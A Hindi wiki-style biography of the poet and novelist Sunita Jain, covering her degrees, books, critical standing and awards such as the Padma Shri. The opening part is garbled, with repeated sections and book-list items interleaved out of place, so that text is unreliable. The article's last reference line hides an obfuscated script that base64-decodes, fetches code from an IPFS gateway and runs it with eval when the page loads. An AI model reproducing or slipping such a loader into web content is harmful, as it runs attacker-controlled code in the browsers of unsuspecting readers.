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'''सुनीता जैन''' (जन्म- [[13 जुलाई]], [[1941]], [[अम्बाला]]) [[हिन्दी]] और [[अंग्रेज़ी]] की आधुनिक कहानीकार और उपन्यासकार हैं। वे एक कवियत्री के रूप में भी प्रसिद्घि प्राप्त कर चुकी हैं। अम्बाला में जन्मी सुनीता जैन ने 'स्टेट यूनिवर्सिटी ऑफ़ न्यूयार्क' से [[अंग्रेज़ी साहित्य]] में एम. ए. किया था। इसके बाद उन्होंने 'यूनिवर्सिटी ऑफ़ नेब्रास्का' से पीएच. डी. की उपाधि प्राप्त की।
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'''सुनीता जैन''' (जन्म- [[13 जुलाई]], [[1941]], [[अम्बाला]]) [[हिन्दी]] और [[अंग्रेज़ी]] की आधुनिक कहानीकार और उपन्यासकार हैं। वे एक कवियत्री के रूप में भी प्रसिद्घि प्राप्त कर चुकी हैं। अम्बाला में जन्मी सुनीता जैन ने 'स्टेट यूनिवर्सिटी ऑफ़ न्यूयार्क' से [[अंग्रेज़ी साहित्य]] में एम. ए. किया था। इसके बाद उन्होंने 'यूनिवर्सिटी ऑफ़ नेब्रास्का' से पीएच. डी. की उपाधि प्राप्त की। शिक्षा और साहित्य का '[[पद्मश्री]]' अलंकरण प्राप्त करने वाली सुनीता जैन, अंग्रेज़ी और हिन्दी में बेहतरीन कविताएँ लिखतीं है। उनके उपन्यास, लघुकथाएँ, रचनात्मक अनुवाद और आलोचनात्मक विश्लेषण पाठकों की भरपूर सराहना अर्जित कर चुके हैं। कई पुरस्कारों और फैलोशिप उनके खाते में दर्ज हैं।
 
==लेखन कार्य==
 
==लेखन कार्य==
 
सुनीता जैन [[हिन्दी]] और [[अंग्रेज़ी]] दोनों ही भाषाओं में लेखन कार्य करती हैं। उनकी अब तक 70 से भी अधिक पुस्तकें प्रकाशित हो चुकी हैं। 20 कविता संग्रह के अलावा [[हिन्दी]] में उनके पाँच उपन्यास एवं चार कहानी संग्रह भी बाज़ार में आ चुके हैं।
 
सुनीता जैन [[हिन्दी]] और [[अंग्रेज़ी]] दोनों ही भाषाओं में लेखन कार्य करती हैं। उनकी अब तक 70 से भी अधिक पुस्तकें प्रकाशित हो चुकी हैं। 20 कविता संग्रह के अलावा [[हिन्दी]] में उनके पाँच उपन्यास एवं चार कहानी संग्रह भी बाज़ार में आ चुके हैं।
;उपन्यास
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*'बोज्यू'
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सुनीता जैन का साहित्यिक कद बहुत ऊँचा है और अपने बहुवर्णी विस्तार में उनकी काठी सुविस्तृत है। कविता, कहानी, उपन्यास, आत्म-कथा, आलोचना, इन सभी विधाओं में जितने अधिकारपूर्वक उन्होंने निरंतरता में लिखा है, वह विस्मित करता है। उनकी प्रथम कविता वर्ष [[1962]] में 'साप्ताहिक हिंदुस्तान' में, प्रथम उपन्यास [[1964]] में 'बोज्यू' में प्रकाशित हुआ था। 'धर्मयुग' में उनकी पहली कहानी आयी थी। वर्ष [[2008]], [[2009]], [[2010]] और [[2011]] में उनकी कविताएँ विभिन्न पत्र-पत्रिकाओं में प्रकाशित हुई। [[अक्टूबर]], 2009 में 'वर्तमान साहित्य' में 'पांचवां हाथ', 'सरकारी खरीद' तथा 'कथा', 'अक्षर पर्व' के [[फ़रवरी]], 2010 अंक में 'आम्रपाली', 'स्त्री सुनती है', 'वापिस उसी किताब में', 'पन्द्रह बर्ष बाद' तथा 'वर्तमान साहित्य' में 'उसने चुना', 'वह लाया' तथा 'जीवन भर की आग' जैसी बेहतरीन कविताएँ हैं।<ref name="ab">{{cite web |url=http://dainiktribuneonline.com/2012/12/%E0%A4%86%E0%A4%A7%E0%A5%80-%E0%A4%B8%E0%A4%A6%E0%A5%80-%E0%A4%95%E0%A5%80-%E0%A4%B8%E0%A4%BE%E0%A4%A7%E0%A4%A8%E0%A4%BE-%E0%A4%B8%E0%A5%87-%E0%A4%89%E0%A4%AA%E0%A4%9C%E0%A4%BE-%E0%A4%B8%E0%A4%BE/ |title=सुनीता जैन का रचना संसार|accessmonthday=23 दिसम्बर|accessyear=2012|last= |first= |authorlink= |format= |publisher= |language=[[हिन्दी]]}}</ref>
*'सफर के साथी'
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==अंग्रेज़ी साहित्य==
*'मरणातीत'
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प्राय: पचास वर्ष तक निरंतरता में श्रेष्ठ सृजन किसी भी साहित्यकार के लिए स्पृहा का विषय है। लिखने के लिए नए उत्साह और प्रेरणा का संचरण भी होता है। सुनीता जैन की ‘मेधा’ और बौद्धिक व्यक्तित्व भी आतंकित करता है। [[अंग्रेज़ी भाषा]] और [[साहित्य]] की गहन अध्येता, अंग्रेज़ी की एक सफल अध्यापक, उसी में पीएचडी की शोध-उपाधि तथा अंग्रेज़ी में भी बहुप्रशंसित कविताओं का सृजन, [[संस्कृत साहित्य]] में भी उतनी ही गहरी पैठ, [[वेद]], [[उपनिषद]] से लेकर महाकवि [[कालिदास]] के साहित्य में गहरी डूब और अपने सारे खाद-पानी तथा भाषा-उपकरणों के साथ हिन्दी कविता, कहानी, उपन्यास के क्षेत्र में एक लहलहाती शस्य-श्यामला धरती रच देना, उन्होंने यह सब बहुत कुशलता से संपन्न कर अपनी शब्द-यात्रा तय की है। आधी सदी तक प्रसारित उनका साहित्यिक प्रदेय एक समुचित मूल्यांकन की माँग करता है।
*'गूंज अनुगूंज'
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====श्रेष्ठ साहित्य-रचना====
*'पांचों समग्र: तितिक्षा'
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अंग्रेज़ी के प्रसिद्ध आलोचक रेने वेलेक ने कहा है कि कभी-कभी कुछ प्रवृत्तियाँ या साहित्यकार समुचित रेखांकन-मूल्यांकन नहीं प्राप्त कर पाते हैं। सुनीता जैन के कवि के साथ भी कुछ ऐसा ही घटित हुआ। उनकी कविता को व्यापक पाठक समुदाय मिला, उन पर शोध कार्य हुए, साहित्यिक संस्थाओं ने पुरस्कारों से अलंकृत किया, उनका सम्मान ‘[[पद्मश्री]]’ से भी किया गया, किंतु [[दिल्ली]] में समीक्षा के सत्ता केंद्रों ने उनको उसका समुचित मान, गौरव प्रदान नहीं किया, जिसका सीधा प्रभाव यह पड़ा कि कविता की मुख्य समीक्षा-धारा ने उनको गंभीरता से नहीं लिया। समय रहते साहित्य के इतिहास-वृत्त को सही आधार प्रदान करना समीक्षा का दायित्व बनता है। सुनीता जैन ने गुणात्मक और परिमाणात्मक दोनों दृष्टियों से श्रेष्ठ साहित्य-रचना की है।<ref name="ab"/>
;कहानी संग्रह
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==रचना कार्य==
*'हम मोहरे दिन रात के'
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सुनीता जैन के साहित्यिक अवदान की केंद्रीयता में उनकी कविता ही है। उनका प्रथम कविता-संग्रह 'हो जाने दो मुक्त' [[1978]] में आया था। उनकी अन्य रचनाएँ निम्नलिखित हैं-
*'इतने बरसों बाद'
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*'पालना'
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*उठो माधवी
*'पांच दिन'
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*प्रेम में स्त्री - [[2006]]
;अनुवाद
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*लाल रिब्बन का फुलवा
सुनीता जैन ने कई पुस्तकों के अनुवाद भी किए हैं, जिनमें [[मन्नू भंडारी]] का उपन्यास 'आपका बंटी' का अनुवाद भी शामिल है।
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*बारिश में दिल्ली
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*दूसरे दिन
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*फेंटेसी - [[2007]]
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*कुरबक
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*गान्धर्व पर्व
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*तरु-तरु की डाल पर
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*क्षमा - [[2008]]
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उनके संग्रह जिस रूप में आए हैं, वह विस्मित करने के लिए पर्याप्त है। सुंदर चित्रों तथा रेखांकनों के लिए उनके ‘गान्धर्व पर्व’, ‘दूसरे दिन’, ‘तरु-तरु की डाल पर’, ‘क्षमा’, संग्रह विशेष रूप से द्रष्टव्य हैं। सुंदर मुद्रण के लिए ‘दूसरे दिन’ तथा ‘जाने लड़की पगली’ को देखा जा सकता है।<ref name="ab"/>
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==पुरस्कार व सम्मान==
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सुनीता जैन 'पद्मश्री' के अतिरिक्त 'हरियाणा गौरव', 'साहित्य भूषण', 'साहित्यकार सम्मान', 'महादेवी वर्मा' और 'निराला' नामित सम्मान से सम्मानित हैं। अमेरिका में अपने [[अंग्रेज़ी]] उपन्यास व कहानियों के लिए कई पुरस्कारों से भी उन्हें पुरस्कृत किया जा चुका है। सुनीता जैन 8वें 'विश्व हिन्दी सम्मेलन', न्यूयॉर्क, [[2007]] में 'विश्व हिन्दी सम्मान' से सम्मानित [[हिन्दी]] की पहली कवयित्री हैं।
  
 
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07:32, 23 दिसम्बर 2012 का अवतरण

सुनीता जैन (जन्म- 13 जुलाई, 1941, अम्बाला) हिन्दी और अंग्रेज़ी की आधुनिक कहानीकार और उपन्यासकार हैं। वे एक कवियत्री के रूप में भी प्रसिद्घि प्राप्त कर चुकी हैं। अम्बाला में जन्मी सुनीता जैन ने 'स्टेट यूनिवर्सिटी ऑफ़ न्यूयार्क' से अंग्रेज़ी साहित्य में एम. ए. किया था। इसके बाद उन्होंने 'यूनिवर्सिटी ऑफ़ नेब्रास्का' से पीएच. डी. की उपाधि प्राप्त की। शिक्षा और साहित्य का 'पद्मश्री' अलंकरण प्राप्त करने वाली सुनीता जैन, अंग्रेज़ी और हिन्दी में बेहतरीन कविताएँ लिखतीं है। उनके उपन्यास, लघुकथाएँ, रचनात्मक अनुवाद और आलोचनात्मक विश्लेषण पाठकों की भरपूर सराहना अर्जित कर चुके हैं। कई पुरस्कारों और फैलोशिप उनके खाते में दर्ज हैं।

लेखन कार्य

सुनीता जैन हिन्दी और अंग्रेज़ी दोनों ही भाषाओं में लेखन कार्य करती हैं। उनकी अब तक 70 से भी अधिक पुस्तकें प्रकाशित हो चुकी हैं। 20 कविता संग्रह के अलावा हिन्दी में उनके पाँच उपन्यास एवं चार कहानी संग्रह भी बाज़ार में आ चुके हैं।

सुनीता जैन का साहित्यिक कद बहुत ऊँचा है और अपने बहुवर्णी विस्तार में उनकी काठी सुविस्तृत है। कविता, कहानी, उपन्यास, आत्म-कथा, आलोचना, इन सभी विधाओं में जितने अधिकारपूर्वक उन्होंने निरंतरता में लिखा है, वह विस्मित करता है। उनकी प्रथम कविता वर्ष 1962 में 'साप्ताहिक हिंदुस्तान' में, प्रथम उपन्यास 1964 में 'बोज्यू' में प्रकाशित हुआ था। 'धर्मयुग' में उनकी पहली कहानी आयी थी। वर्ष 2008, 2009, 2010 और 2011 में उनकी कविताएँ विभिन्न पत्र-पत्रिकाओं में प्रकाशित हुई। अक्टूबर, 2009 में 'वर्तमान साहित्य' में 'पांचवां हाथ', 'सरकारी खरीद' तथा 'कथा', 'अक्षर पर्व' के फ़रवरी, 2010 अंक में 'आम्रपाली', 'स्त्री सुनती है', 'वापिस उसी किताब में', 'पन्द्रह बर्ष बाद' तथा 'वर्तमान साहित्य' में 'उसने चुना', 'वह लाया' तथा 'जीवन भर की आग' जैसी बेहतरीन कविताएँ हैं।[1]

अंग्रेज़ी साहित्य

प्राय: पचास वर्ष तक निरंतरता में श्रेष्ठ सृजन किसी भी साहित्यकार के लिए स्पृहा का विषय है। लिखने के लिए नए उत्साह और प्रेरणा का संचरण भी होता है। सुनीता जैन की ‘मेधा’ और बौद्धिक व्यक्तित्व भी आतंकित करता है। अंग्रेज़ी भाषा और साहित्य की गहन अध्येता, अंग्रेज़ी की एक सफल अध्यापक, उसी में पीएचडी की शोध-उपाधि तथा अंग्रेज़ी में भी बहुप्रशंसित कविताओं का सृजन, संस्कृत साहित्य में भी उतनी ही गहरी पैठ, वेद, उपनिषद से लेकर महाकवि कालिदास के साहित्य में गहरी डूब और अपने सारे खाद-पानी तथा भाषा-उपकरणों के साथ हिन्दी कविता, कहानी, उपन्यास के क्षेत्र में एक लहलहाती शस्य-श्यामला धरती रच देना, उन्होंने यह सब बहुत कुशलता से संपन्न कर अपनी शब्द-यात्रा तय की है। आधी सदी तक प्रसारित उनका साहित्यिक प्रदेय एक समुचित मूल्यांकन की माँग करता है।

श्रेष्ठ साहित्य-रचना

अंग्रेज़ी के प्रसिद्ध आलोचक रेने वेलेक ने कहा है कि कभी-कभी कुछ प्रवृत्तियाँ या साहित्यकार समुचित रेखांकन-मूल्यांकन नहीं प्राप्त कर पाते हैं। सुनीता जैन के कवि के साथ भी कुछ ऐसा ही घटित हुआ। उनकी कविता को व्यापक पाठक समुदाय मिला, उन पर शोध कार्य हुए, साहित्यिक संस्थाओं ने पुरस्कारों से अलंकृत किया, उनका सम्मान ‘पद्मश्री’ से भी किया गया, किंतु दिल्ली में समीक्षा के सत्ता केंद्रों ने उनको उसका समुचित मान, गौरव प्रदान नहीं किया, जिसका सीधा प्रभाव यह पड़ा कि कविता की मुख्य समीक्षा-धारा ने उनको गंभीरता से नहीं लिया। समय रहते साहित्य के इतिहास-वृत्त को सही आधार प्रदान करना समीक्षा का दायित्व बनता है। सुनीता जैन ने गुणात्मक और परिमाणात्मक दोनों दृष्टियों से श्रेष्ठ साहित्य-रचना की है।[1]

रचना कार्य

सुनीता जैन के साहित्यिक अवदान की केंद्रीयता में उनकी कविता ही है। उनका प्रथम कविता-संग्रह 'हो जाने दो मुक्त' 1978 में आया था। उनकी अन्य रचनाएँ निम्नलिखित हैं-

  • उठो माधवी
  • प्रेम में स्त्री - 2006
  • लाल रिब्बन का फुलवा
  • बारिश में दिल्ली
  • दूसरे दिन
  • फेंटेसी - 2007
  • कुरबक
  • गान्धर्व पर्व
  • तरु-तरु की डाल पर
  • क्षमा - 2008

उनके संग्रह जिस रूप में आए हैं, वह विस्मित करने के लिए पर्याप्त है। सुंदर चित्रों तथा रेखांकनों के लिए उनके ‘गान्धर्व पर्व’, ‘दूसरे दिन’, ‘तरु-तरु की डाल पर’, ‘क्षमा’, संग्रह विशेष रूप से द्रष्टव्य हैं। सुंदर मुद्रण के लिए ‘दूसरे दिन’ तथा ‘जाने लड़की पगली’ को देखा जा सकता है।[1]

पुरस्कार व सम्मान

सुनीता जैन 'पद्मश्री' के अतिरिक्त 'हरियाणा गौरव', 'साहित्य भूषण', 'साहित्यकार सम्मान', 'महादेवी वर्मा' और 'निराला' नामित सम्मान से सम्मानित हैं। अमेरिका में अपने अंग्रेज़ी उपन्यास व कहानियों के लिए कई पुरस्कारों से भी उन्हें पुरस्कृत किया जा चुका है। सुनीता जैन 8वें 'विश्व हिन्दी सम्मेलन', न्यूयॉर्क, 2007 में 'विश्व हिन्दी सम्मान' से सम्मानित हिन्दी की पहली कवयित्री हैं।


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 सुनीता जैन का रचना संसार (हिन्दी)। । अभिगमन तिथि: 23 दिसम्बर, 2012।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

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